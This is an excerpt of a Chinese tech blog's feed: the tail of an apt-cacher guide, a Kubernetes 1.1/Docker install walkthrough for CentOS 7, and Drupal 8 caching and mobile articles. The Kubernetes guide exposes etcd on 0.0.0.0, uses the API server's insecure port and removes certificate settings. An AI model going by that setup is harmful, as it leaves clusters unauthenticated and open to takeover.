&lt;pre&gt;&lt;code&gt;&amp;quot;AUTOSTART=0&amp;quot; 改为 &amp;quot;AUTOSTART=1&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;还可以在 &lt;code&gt;/etc/apt-cacher/apt-cacher.conf&lt;/code&gt; 文件中进行访问限制。更新 &lt;code&gt;allowed_hosts&lt;/code&gt; 来设置允许的主机或者子网。完成这些配置之后，就可以启动这个缓存系统了：&lt;/p&gt;

&lt;p&gt;&lt;code&gt;sudo /etc/init.d/apt-cacher restart&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;最后一步就是配置客户端了。每个网络内的客户端都需要配置来使用这一缓存系统。&lt;/p&gt;

&lt;p&gt;我推荐的方式是在 &lt;code&gt;/etc/apt/apt.conf.d/&lt;/code&gt; 目录中定义一个 apt 代理服务器。只要新建一个名为 &lt;code&gt;90-apt-proxy.conf&lt;/code&gt; 的文件，并加入下面的内容：&lt;/p&gt;

&lt;p&gt;&lt;code&gt;Acquire::http::Proxy &amp;quot;http://repository-cache:3142&amp;quot;;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;注意把上面的 &amp;ldquo;repository-cache&amp;rdquo; 替换为你自己的 apt-cache 服务器地址。&lt;/p&gt;

&lt;p&gt;这样，客户端每次访问这一 URL（repository-cache:3142）就会用到缓存，如果这个网址不可用，客户端缺省会返回使用 &lt;code&gt;/etc/apt/sources.list&lt;/code&gt;，可以注释掉上面的代理服务器设置内容来恢复正常工作。&lt;/p&gt;

&lt;p&gt;这些步骤可以重复应用在所有需要访问缓存的客户机上。可以借此节约部分带宽。apt-cache 没有对机器数量进行限制的途径。&lt;/p&gt;

&lt;h2 id=&#34;总结&#34;&gt;总结&lt;/h2&gt;

&lt;p&gt;上面的方法，不管是完整镜像还是请求缓存，都能够极大的降低带宽需求，两个工具都非常容易配置，几乎无需维护。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Kubernetes权威指南（第 2 版）</title>
      <link>/publication/9787121299414/</link>
      <pubDate>Fri, 01 Jan 2016 00:00:00 +0000</pubDate>
      <guid>/publication/9787121299414/</guid>
      <description></description>
    </item>
    
    <item>
      <title>CentOS 7 &#43; Kubernetes 1.1.x  &#43; Docker 1.9.x  安装指南</title>
      <link>/post/install-kubernetes-and-docker-on-centos/</link>
      <pubDate>Thu, 24 Dec 2015 00:17:17 +0800</pubDate>
      <guid>/post/install-kubernetes-and-docker-on-centos/</guid>
      <description>

&lt;h2 id=&#34;前言&#34;&gt;前言&lt;/h2&gt;

&lt;p&gt;&lt;a href=&#34;http://docker.io/&#34; target=&#34;_blank&#34;&gt;Docker&lt;/a&gt; 和 &lt;a href=&#34;http://kubernetes.io/&#34; target=&#34;_blank&#34;&gt;Kubernates&lt;/a&gt;最近可以说红的发紫，各种大部头和高深研究也层出不穷。&lt;/p&gt;

&lt;p&gt;学习过程中看了官网和社区提供的不少起步文档，但是手工半手工这一块，总感觉语焉不详，操作性不很好，因此就边学边记，整理成这么一篇东西，本文只涉及操作，理论、架构、前景等内容，还请读者自行翻阅相关材料。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;注意这里按照我的个人习惯，会把所有可执行文件复制到 &lt;code&gt;/usr/local/share&lt;/code&gt;，并链接到 &lt;code&gt;/usr/local/bin&lt;/code&gt;；环境配置文件统一放置到 &lt;code&gt;/etc/sysconfig/kubernetes&lt;/code&gt; 中，这个做法跟手工安装一样，纯属个人恶趣味，没什么具体理由。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;环境准备&#34;&gt;环境准备&lt;/h2&gt;

&lt;p&gt;这里我们使用的是 CentOS 7 为例子。&lt;/p&gt;

&lt;p&gt;接下来内容里面会使用 A, B 两台服务器：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;服务器 A

&lt;ul&gt;
&lt;li&gt;IP: 10.211.55.12&lt;/li&gt;
&lt;li&gt;职责&lt;/li&gt;
&lt;li&gt;Kubernate Master&lt;/li&gt;
&lt;li&gt;Docker Private Registry&lt;/li&gt;
&lt;li&gt;Kubernate Master UI&lt;/li&gt;
&lt;li&gt;Kubernate Node&lt;/li&gt;
&lt;li&gt;ETCD&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;服务器 B

&lt;ul&gt;
&lt;li&gt;IP: 10.211.55.13&lt;/li&gt;
&lt;li&gt;职责&lt;/li&gt;
&lt;li&gt;Kubernate Node&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;etcd-仅-master-需要&#34;&gt;ETCD （仅 Master 需要）&lt;/h3&gt;

&lt;p&gt;可以简单理解为，用来管理容器 IP 的数据库。&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://github.com/coreos/etcd&#34; target=&#34;_blank&#34;&gt;Github 地址&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;使用 Yum 直接安装：&lt;/p&gt;

&lt;p&gt;&lt;code&gt;yum install -y etcd;&lt;/code&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;注意：安装后需要修改 &lt;code&gt;/etc/etcd/etcd.conf&lt;/code&gt;，将其中的监听地址由 &lt;code&gt;127.0.0.1&lt;/code&gt; 改为 &lt;code&gt;0.0.0.0&lt;/code&gt; 或者其他 Node 可以访问的地址。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;# 启动服务
systemctl daemon-reload
systemctl enable etcd
systemctl start etcd

# 为后续服务提供初始值
etcdctl mk /docker.intranet/network/config &#39;{&amp;quot;Network&amp;quot;:&amp;quot;192.168.0.0/16&amp;quot;}&#39;
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;flannel-所有服务器都需要&#34;&gt;Flannel (所有服务器都需要)&lt;/h3&gt;

&lt;p&gt;对前面的 ETCD 有依赖，这里利用这一服务来为 Docker 提供网络分配和部分网络参数生成的任务。&lt;/p&gt;

&lt;p&gt;&lt;code&gt;yum install -y flannel&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;接下来编辑配置文件 &lt;code&gt;/etc/sysconfig/flanneld&lt;/code&gt;，将其中的 &lt;code&gt;FLANNEL_ETCD&lt;/code&gt; 地址修改为之前我们配置的地址，并修改 &lt;code&gt;FLANNEL_ETCD_KEY&lt;/code&gt; 为我们使用 etcdctl 设置的值，上文中是 &lt;strong&gt;&amp;ldquo;docker.intranet&amp;rdquo;&lt;/strong&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;# 启动服务
systemctl daemon-reload
systemctl enable flanneld
systemctl start flanneld
&lt;/code&gt;&lt;/pre&gt;

&lt;hr /&gt;

&lt;h2 id=&#34;kubernates-master&#34;&gt;Kubernates Master&lt;/h2&gt;

&lt;h3 id=&#34;下载和安装&#34;&gt;下载和安装&lt;/h3&gt;

&lt;p&gt;首先下载压缩包，并复制其中需要的文件，然后做符号链接到习惯位置。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;wget https://github.com/kubernetes/kubernetes/releases/download/v1.1.3/kubernetes.tar.gz
cd kubernetes/server
tar xf kubernetes-server-linux-amd64.tar.gz
cp -Rf kubernetes/ /usr/local/share
cp kubernetes/cluster/centos/node/scripts/remove-docker0.sh /usr/local/share/kubernetes/server/bin
cd /usr/local/bin
ln -s /usr/local/share/kubernetes/server/bin/hyperkube
ln -s /usr/local/share/kubernetes/server/bin/kube-apiserver
ln -s /usr/local/share/kubernetes/server/bin/kube-controller-manager
ln -s /usr/local/share/kubernetes/server/bin/kubectl
ln -s /usr/local/share/kubernetes/server/bin/kubelet
ln -s /usr/local/share/kubernetes/server/bin/kube-proxy
ln -s /usr/local/share/kubernetes/server/bin/kube-scheduler
ln -s /usr/local/share/kubernetes/server/bin/linkcheck
ln -s /usr/local/share/kubernetes/server/bin/remove-docker0.sh
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;主控服务器 A 除去前面提到的 ETCD 和 FlannelD 两个服务之外，需要三个服务&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;API Server&lt;/li&gt;
&lt;li&gt;Controller Manager&lt;/li&gt;
&lt;li&gt;Scheduler&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;前面下载的包解压之后，&lt;code&gt;kubernetes/cluster/centos/master/scripts&lt;/code&gt; 中有以下脚本分别对应上面三个必要的服务：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;apiserver.sh&lt;/li&gt;
&lt;li&gt;controller-manager.sh&lt;/li&gt;
&lt;li&gt;scheduler.sh&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;这几个脚本大概看了一下，是自动安装过程的一部分，这里拿来进行修改，以适应我们自己的环境，方便应用，也有利于学习，并最终生成一个符合自己洁癖的环境:D&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3 id=&#34;apiserver-sh&#34;&gt;apiserver.sh&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;MASTER_ADDRESS&lt;/code&gt; 取值为服务器 A 的地址&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ETCD_SERVERS&lt;/code&gt; 取值为ETCD的完整网址&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SERVICE_CLUSTER_IP_RANGE&lt;/code&gt; 中的内容，按照之前我们给 ETCD 初始化的 IP 范围来设置。&lt;/li&gt;
&lt;li&gt;修改过时用法：&lt;code&gt;KUBE_API_ADDRESS=&amp;quot;--insecure-bind-address=${MASTER_ADDRESS}&amp;quot;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;修改过时用法：&lt;code&gt;KUBE_API_PORT=&amp;quot;--insecure-port=8080&amp;quot;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;cat &amp;lt;&amp;lt;EOF&lt;/code&gt; 所在行涉及的文件名，按照个人习惯更改&lt;/li&gt;
&lt;li&gt;用于服务定义的 service 文件，其中的 &lt;code&gt;ExecStart&lt;/code&gt; 要注意修改为我们之前生成连接的位置。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;最后把涉及证书的一块删掉，这部分内容比较繁杂，先砍掉为好&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;KUBE_APISERVER_OPTS=&amp;quot;   \${KUBE_LOGTOSTDERR}         \\
                        \${KUBE_LOG_LEVEL}           \\
                        \${KUBE_ETCD_SERVERS}        \\
                        \${KUBE_API_ADDRESS}         \\
                        \${KUBE_API_PORT}            \\
                        \${MINION_PORT}              \\
                        \${KUBE_ALLOW_PRIV}          \\
                        \${KUBE_SERVICE_ADDRESSES}   \\&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;编辑结束之后，运行该脚本，也就完成了 API SERVER 的配置。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;语法错误等情况是在所难免的，可以使用 &lt;code&gt;systemctl status -l [服务名称]&lt;/code&gt; 来检查出错信息，如果信息不够详尽，可以把所生成的环境文件中的 &lt;code&gt;loglevel&lt;/code&gt; 设置为 0。&lt;/p&gt;

&lt;p&gt;另外还可以直接把 ExecStart 中的最终内容直接在命令行执行进行除错。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3 id=&#34;controller-manager-sh-和-scheduler-sh&#34;&gt;controller-manager.sh 和 scheduler.sh&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;修改 &lt;code&gt;MASTER_ADDRESS&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;修改文件位置&lt;/li&gt;
&lt;li&gt;执行&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;走到这里，就可以使用 &lt;code&gt;kubectl get nodes&lt;/code&gt; 之类的命令来跟 Master 互动了，浏览器也可以在服务器的 8080 端口获得一点没用的基本信息了。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3 id=&#34;docker&#34;&gt;Docker&lt;/h3&gt;

&lt;blockquote&gt;
&lt;p&gt;本不想在 Master 机安装 Docker，但是后面的 Kubernates UI，如果不涉及网络操作的话，似乎必须在 Master 上运行，所以只能如此处理了。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Docker 这里我们使用 Docker.io 提供的官方源进行安装：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;# !bin/sh
tee /etc/yum.repos.d/docker.repo &amp;lt;&amp;lt;-&#39;EOF&#39;
[dockerrepo]
name=Docker Repository
baseurl=https://yum.dockerproject.org/repo/main/centos/$releasever/
enabled=1
gpgcheck=1
gpgkey=https://yum.dockerproject.org/gpg
EOF

yum update -y
yum install -y docker-engine
systemctl daemon-reload
systemctl enable docker
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这个配置就不准备使用脚本生成了，会稍微麻烦一些，简单粗暴上代码：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;首先创建文件 &lt;code&gt;/etc/systemd/system/docker.service.d/custom.conf&lt;/code&gt; 这个文件会覆盖 docker.service 中的部分内容&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-conf&#34;&gt;[Service]
Environment=&amp;quot;HTTP_PROXY=10.211.55.2:8016&amp;quot; &amp;quot;NO_PROXY=localhost,center.docker.local,16.158.51.247&amp;quot;
EnvironmentFile=-/run/flannel/docker
EnvironmentFile=-/etc/sysconfig/kubernetes/docker
ExecStartPre=/usr/local/bin/remove-docker0.sh
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;上面文件中包含了代理的设置，用于在公司内网环境下，使用代理服务器获取外部仓库的内容。
两行&lt;code&gt;EnvironmentFile&lt;/code&gt;，其中一个是我们自行编写的 Docker 环境文件，另一个则是 flannel 运行生成的配置文件，而 &lt;code&gt;ExecStartPre&lt;/code&gt; 则是从 Kubernetes 压缩包中的 Docker 配置内容中抄来的，修改了文件位置而已。&lt;/p&gt;

&lt;p&gt;上面看出，Docker 服务对 Flanneld 服务是有依赖的，经过对 &lt;code&gt;systemctl status docker&lt;/code&gt; 的观察，可以看到这一服务在 &lt;code&gt;/usr/lib/systemd/system/docker.service.d&lt;/code&gt; 生成了一份文件，用于声明这一依赖关系。&lt;/p&gt;

&lt;p&gt;编辑这个文件：&lt;code&gt;/etc/systemd/system/multi-user.target.wants/docker.service&lt;/code&gt;
如果位置不同，可以使用 &lt;code&gt;find /etc -name &#39;docker.service&#39;&lt;/code&gt;，ExecStart 一行改为 &lt;code&gt;ExecStart=/usr/bin/docker daemon $DOCKER_OPT_BIP $DOCKER_OPT_MTU $DOCKER_OPTS&lt;/code&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;systemctl daemon-reload
systemctl enable docker
systemctl start docker
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;node&#34;&gt;Node&lt;/h2&gt;

&lt;p&gt;同样的，可以在 &lt;code&gt;kubernetes/cluster/centos/node/scripts&lt;/code&gt; 找到两个 Node 服务的配置脚本，这里先后修改运行 &lt;code&gt;kubelet.sh&lt;/code&gt; 以及 &lt;code&gt;proxy.sh&lt;/code&gt; 即可。&lt;/p&gt;

&lt;h2 id=&#34;kubeletes-ui&#34;&gt;Kubeletes UI&lt;/h2&gt;

&lt;p&gt;Kubeletes UI 的安装很简单：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;kubectl create -f cluster/addons/kube-ui/kube-ui-rc.yaml --namespace=kube-system
kubectl create -f cluster/addons/kube-ui/kube-ui-svc.yaml --namespace=kube-system
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;运行之后，可以使用 &lt;code&gt;kubectl get pods --all-namespace&lt;/code&gt; 查看进展状况，第一次创建，会到 Google 仓库下载基础镜像，前面介绍的代理使用技巧可能就派上用场了。等到状态从 Pending 变为 Running 之后，就可以用浏览器访问 &lt;code&gt;http://master:8080/ui&lt;/code&gt; 来查看控制台了。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Drupal 8 的动态页面缓存</title>
      <link>/post/page-cache-in-drupal-8/</link>
      <pubDate>Wed, 14 Oct 2015 22:09:07 +0800</pubDate>
      <guid>/post/page-cache-in-drupal-8/</guid>
      <description>

&lt;p&gt;Drupal 8 现在有了动态页面缓存。Page Cache 模块只对匿名用户生效，而 Dynamic Page Cache 模块则更进一步的为所有用户提供服务。&lt;/p&gt;

&lt;p&gt;4 月 8 日起，Drupal 8 &lt;a href=&#34;https://wimleers.com/blog/drupal-8-page-caching-enabled-by-default&#34; target=&#34;_blank&#34;&gt;缺省开启&lt;/a&gt;了页面缓存。刚好五个月以后也就是 9 月 8 日，Dynamic Page Cache 模块也加入了 Drupal 8，同样的也是缺省开启。&lt;/p&gt;

&lt;h2 id=&#34;动态页面缓存是什么&#34;&gt;动态页面缓存是什么？&lt;/h2&gt;

&lt;h3 id=&#34;page-cache-模块缓存的是完全渲染之后的-html-响应内容&#34;&gt;Page Cache 模块缓存的是完全渲染之后的 HTML 响应内容&lt;/h3&gt;

&lt;p&gt;他假设每个响应只有一种，这个假设只对匿名用户有效。相对于 Drupal 7，8 的创新是加入了 &lt;a href=&#34;https://www.drupal.org/developing/api/8/cache/tags&#34; target=&#34;_blank&#34;&gt;Cache Tags(缓存标记)&lt;/a&gt;，这就使得在使用页面缓存的时候，依然能够及时更新页面，不再呈现过期内容。&lt;/p&gt;

&lt;h3 id=&#34;dynamic-page-cache-模块缓存大部分渲染之后的-html-相应内容&#34;&gt;Dynamic Page Cache 模块缓存大部分渲染之后的 HTML 相应内容&lt;/h3&gt;

&lt;p&gt;现在不再认为只有一种响应了：这里要感谢 &lt;a href=&#34;https://www.drupal.org/developing/api/8/cache/contexts&#34; target=&#34;_blank&#34;&gt;cache contexts&lt;/a&gt;，他能够获取到页面各个部分的变体。在渲染过程中，&lt;a href=&#34;https://www.drupal.org/developing/api/8/render/arrays/cacheability/auto-placeholdering&#34; target=&#34;_blank&#34;&gt;自动占位&lt;/a&gt;会识别页面中的一部分不可缓存的内容，替换为占位符。这些占位符只在最后一刻进行渲染。动态页面缓存模块会在这些占位符被替换之前进行缓存。&lt;/p&gt;

&lt;p&gt;所以，概念上来说：&lt;strong&gt;Page Cache &amp;ndash;&amp;gt; Dynamic Page Cache&lt;/strong&gt;&lt;/p&gt;

&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th align=&#34;left&#34;&gt;&lt;/th&gt;
&lt;th align=&#34;left&#34;&gt;Key&lt;/th&gt;
&lt;th align=&#34;left&#34;&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;

&lt;tbody&gt;
&lt;tr&gt;
&lt;td align=&#34;left&#34;&gt;Page Cache&lt;/td&gt;
&lt;td align=&#34;left&#34;&gt;&lt;code&gt;URL&lt;/code&gt;&lt;/td&gt;
&lt;td align=&#34;left&#34;&gt;&lt;code&gt;最终响应&lt;/code&gt; &lt;code&gt;缓存标记&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td align=&#34;left&#34;&gt;Dynamic Page Cache&lt;/td&gt;
&lt;td align=&#34;left&#34;&gt;&lt;code&gt;URL&lt;/code&gt; &lt;code&gt;cache contexts&lt;/code&gt;&lt;/td&gt;
&lt;td align=&#34;left&#34;&gt;&lt;code&gt;部分响应&lt;/code&gt; &lt;code&gt;占位符&lt;/code&gt; &lt;code&gt;缓存标记&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;上表对比展示了二者的优劣：Page Cache 包含了最终响应，所以相对较快；而 Dynamic Page Cache 只包含了部分响应，但是因为这部分内容是没有经过个性化的，所以适用于各种用户。&lt;/p&gt;

&lt;p&gt;换句话说，动态页面缓存做的事情比较多，但是适用于更多场景。&lt;/p&gt;

&lt;h2 id=&#34;benchmark&#34;&gt;Benchmark&lt;/h2&gt;

&lt;p&gt;在开启页面缓存之后，Drupal 8 对匿名用户能够在常数时间内返回响应。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;有了动态页面缓存之后，Drupal 8 的响应时间就是在之前的时间上再加上渲染占位符的时间。&lt;/strong&gt;这意味着，页面的绝大部分能够在固定时间里完成（跟内容多少无关）。最后的占位符渲染环节是最需要进行优化的，当然，最好没有这部分（可以延伸阅读一下 BigPipe 相关内容）。&lt;/p&gt;

&lt;p&gt;在我的机器上（&lt;code&gt;ab -c1 -n 1000&lt;/code&gt;, PHP 5.5.11，Intel Core i7 2.8 GHz 笔记本电脑，15 个带有一条留言的 Node，其中 10 个列在首页上）：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;没有动态页面缓存

&lt;ul&gt;
&lt;li&gt;首页：61.3 毫秒/请求（每秒 16 个请求）&lt;/li&gt;
&lt;li&gt;node/1：92.3 毫秒/请求（每秒 10.8 个请求）&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;动态缓存开启

&lt;ul&gt;
&lt;li&gt;首页：38.3 毫秒/请求（每秒 26 个请求）&lt;/li&gt;
&lt;li&gt;node/1：73.8 毫秒/请求（每秒 13.5 个请求）&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;分析&#34;&gt;分析&lt;/h2&gt;

&lt;p&gt;首页只有一个占位符（message），这使得首页是一个最低相应时间的指标：我的机器上大概 38 毫秒。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;大约 38 毫秒用于 bootstrap，路由，路由权限检查，从动态页面缓存中获取缓存内容。&lt;/li&gt;
&lt;li&gt;跟 node/1 比较：渲染占位符用掉了超过 35.5 毫秒的时间。这说明此处的渲染成本非常高——留言 Form。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;可以看到，动态页面缓存在开发期间也很有用，他暴露了无法缓存或者难于渲染的页面部分。&lt;/p&gt;

&lt;h3 id=&#34;在实际服务器上-十倍不止&#34;&gt;在实际服务器上，十倍不止&lt;/h3&gt;

&lt;p&gt;上面的测试只是一个并发，还可以参考&lt;a href=&#34;http://wimleers.com/blog/drupal-8-page-caching-enabled-by-default&#34; target=&#34;_blank&#34;&gt;Rasmus Lerdorf 的相关测试&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&#34;多赢&#34;&gt;多赢&lt;/h2&gt;

&lt;p&gt;各种规模的站点都会受益：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;企业级站点得到了更高的可塑性，以及针对认证用户的反向代理/CDN方面能力的提升。&lt;/li&gt;
&lt;li&gt;小站点能够为认证用户提供更多更快的并发访问能力。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;所以我的工作由 Acquia 赞助，但是大家都能从中获益。&lt;/p&gt;

&lt;p&gt;有人发表疑问， Drupal 8 会不会太复杂了，是不是已经不在意站点搭建者，而只考虑企业应用了之类的、我认为这就是个很好的反例 —— 缺省激活的页面缓存优于大多数的 Drupal 7 站点。&lt;/p&gt;

&lt;p&gt;我们的确在缓存标记上增加了复杂性，不过这只对开发者产生了影响，而且提供了&lt;a href=&#34;https://www.drupal.org/developing/api/8/render/arrays/cacheability&#34; target=&#34;_blank&#34;&gt;完善的文档&lt;/a&gt;。最重要的是，站点建设者不需要关心这些了，Drupal 8 开始不再需要手工清除缓存了！&lt;/p&gt;

&lt;p&gt;Drupal 很像乐高积木。直到 Drupal 8，如果你试用了太多的模块，站点会变慢，缓存的设置复杂到令人望而却步。现在这些组成部分必须自己声明缓存的元数据，这样 Drupal 就可以把大部分“加速”工作自动完成了。&lt;/p&gt;

&lt;h3 id=&#34;小站点-包括共享主机&#34;&gt;小站点（包括共享主机）&lt;/h3&gt;

&lt;p&gt;小站点能够处理更多的认证用户产生的并发访问，更快的生成页面。&lt;/p&gt;

&lt;p&gt;无需任何配置。&lt;/p&gt;

&lt;p&gt;无需任何搜索。&lt;/p&gt;

&lt;h3 id=&#34;企业站点-以及企业级托管&#34;&gt;企业站点（以及企业级托管）&lt;/h3&gt;

&lt;p&gt;企业站点有了更多调节的能力：如果倾向于利用足够的存储空间，而不是渲染占位符的话（空间换时间），那么只要覆盖缺省的&lt;a href=&#34;https://www.drupal.org/developing/api/8/render/arrays/cacheability/auto-placeholdering&#34; target=&#34;_blank&#34;&gt;自动占位符条件&lt;/a&gt;即可。&lt;/p&gt;

&lt;p&gt;这也是第一次我们有机会&lt;a href=&#34;http://wimleers.com/talk/caching-at-the-edge-cdns-for-everyone&#34; target=&#34;_blank&#34;&gt;利用CDN为认证用户提供响应内容&lt;/a&gt;。&lt;/p&gt;

&lt;h3 id=&#34;开发者&#34;&gt;开发者&lt;/h3&gt;

&lt;p&gt;在&lt;a href=&#34;https://www.drupal.org/developing/api/8/cache&#34; target=&#34;_blank&#34;&gt;缓存元数据&lt;/a&gt;（缓存标记，上下文和最大周期）之外，可以针对主机环境，性能和缓存方面做深入细致的调整。而之前，必须分析和调试一大坨代码，来判断为什么有些缓存没有在合适的时候过期。&lt;/p&gt;

&lt;p&gt;原因是，现在的整个过程被标准化了，我们可以使用&lt;a href=&#34;http://wimleers.com/blog/renderviz-prototype&#34; target=&#34;_blank&#34;&gt;更好的工具&lt;/a&gt;——甚至可以自动的检测类似问题：不合适的缓存上下文，过低的缓存生命周期，过于频繁的缓存失效。&lt;/p&gt;

&lt;p&gt;最后，这一切使得 &lt;a href=&#34;http://wimleers.com/talk/making-drupal-fly-fastest-drupal-ever-here&#34; target=&#34;_blank&#34;&gt;Drupal 8 成为最快的 Drupal&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&#34;drupal-8-的动态页面缓存-vs-drupal-7-的-authcache&#34;&gt;Drupal 8 的动态页面缓存 vs Drupal 7 的 Authcache&lt;/h2&gt;

&lt;p&gt;动态页面缓存在 Drupal 7 中最相近内容应该就是 &lt;a href=&#34;https://www.drupal.org/project/authcache&#34; target=&#34;_blank&#34;&gt;Authcache 模块&lt;/a&gt;了。在 Drupal 7 中使用 Authcache 也能获得非常好的性能，但是这需要大量的工作：所有的代码（第三方的和自行实现的）必须进行分析，以保证所有的输出过程中所有需要进行缓存验证的部分都对应到账号。所有的因素必须都传递给 Authcache，来进行缓存键的计算。“关键属性”的概念和 Drupal 8 的缓存上下文类似。然而，这个过程很容易漏掉一些因素。这是因为站点的所有者要负责识别所有的验证，这里包含所有的模块和页面。缺省情况下，Authcache 假设用站点的 base URL 和用户的角色来进行区分。所以除非你的站点非常简单（可能连多语言都不支持），否则就要进行很多的研究来用好 Authcache。&lt;/p&gt;

&lt;p&gt;（例如目前还在运行 Drupal 7 的 Drupal.org，几个月前推出了针对评论的渲染缓存功能。他的工作方式很像 Authcache：必须指定引起缓存校验的因素。有个因素（时区）被忽略了，结果导致了奇怪的输出结果。强如 Durpal.org 的团队，也发生了这种错误，我们如何能够寄希望于其他团队呢？）&lt;/p&gt;

&lt;p&gt;Drupal 8 中的动态页面缓存建立在缓存元数据概念之上。不需要自定义钩子，也无需用户参与。缓存行为现在是模块的责任，有理由相信，模块作者更知道模块的功能，因此也无需再次进行代码分析。动态缓存还支持缓存标记，所以跟 Drupal 7 的 Authcache 不同，动态页面缓存能够及时进行更新。&lt;/p&gt;

&lt;p&gt;在 Drupal 8.0.0 中，动态页面缓存在 bootstrap、路由、路由访问控制之后执行。而因为 Authcache 做了一些简单假设，他能够在完全执行完 bootstrap 之前执行，这样无疑是更快的。我们也正在一个 issue （&lt;a href=&#34;https://www.drupal.org/node/2541284&#34; target=&#34;_blank&#34;&gt;#2541284&lt;/a&gt;） 中提出这个问题，这一问题如果得以解决，能够得到巨大的性能提升，我们会在 Drupal 8 未来的某个版本中发布出来。&lt;/p&gt;

&lt;p&gt;最后因为 Drupal 8 中缺省就启用了动态页面缓存，所以他直接为所有的开发者和所有的站点产生巨大的影响。建议所有的 Drupal 开发者在代码中定制合适的缓存上下文。这样 Drupal 8 的模块就会被为数众多的网站所考验，遗失的缓存元数据也就可以迅速修正。所有用户一起来完成这一任务，而不是像 Authcache 用户那样单打独斗。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>第二部 增强的移动体验</title>
      <link>/post/drupal-portable/</link>
      <pubDate>Wed, 14 Oct 2015 22:08:31 +0800</pubDate>
      <guid>/post/drupal-portable/</guid>
      <description>&lt;p&gt;在&lt;a href=&#34;https://www.acquia.com/blog/ultimate-guide-drupal-8-episode-1-authoring-experience-improvements&#34; target=&#34;_blank&#34;&gt;编辑体验增强&lt;/a&gt;之外，对Drupal的最终用户来说，还有一个焦点问题是如何让Drupal 8对移动设备更加友好，这也是顺应当今移动设备访问量暴增的潮流之举。&lt;/p&gt;

&lt;p&gt;##移动优先&lt;/p&gt;

&lt;p&gt;Drupal 8用户会发现，Drupal 8从安装器到模块页面的设计核心思想都是以移动为中心的。每一个新特性，例如就地编辑等功能，都被设计为可以在移动设备的小屏幕上顺畅运行。读者可以尝试用手中的设备尝试访问Drupal 8，如果发现任何Bug，&lt;a href=&#34;https://drupal.org/node/2152519&#34; target=&#34;_blank&#34;&gt;欢迎指出&lt;/a&gt;（呃&amp;hellip;.最好是有效的BUG）。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/09d309bed38a0de54da15078a93bd210.png&#34; alt=&#34;iphone&#34; /&gt;&lt;/p&gt;

&lt;p&gt;(上图是Module页面的一个搜索功能，在Drupal 7中可以使用&lt;a href=&#34;https://drupal.org/project/module_filter&#34; target=&#34;_blank&#34;&gt;Module Filter模块&lt;/a&gt;实现类似体验)。&lt;/p&gt;

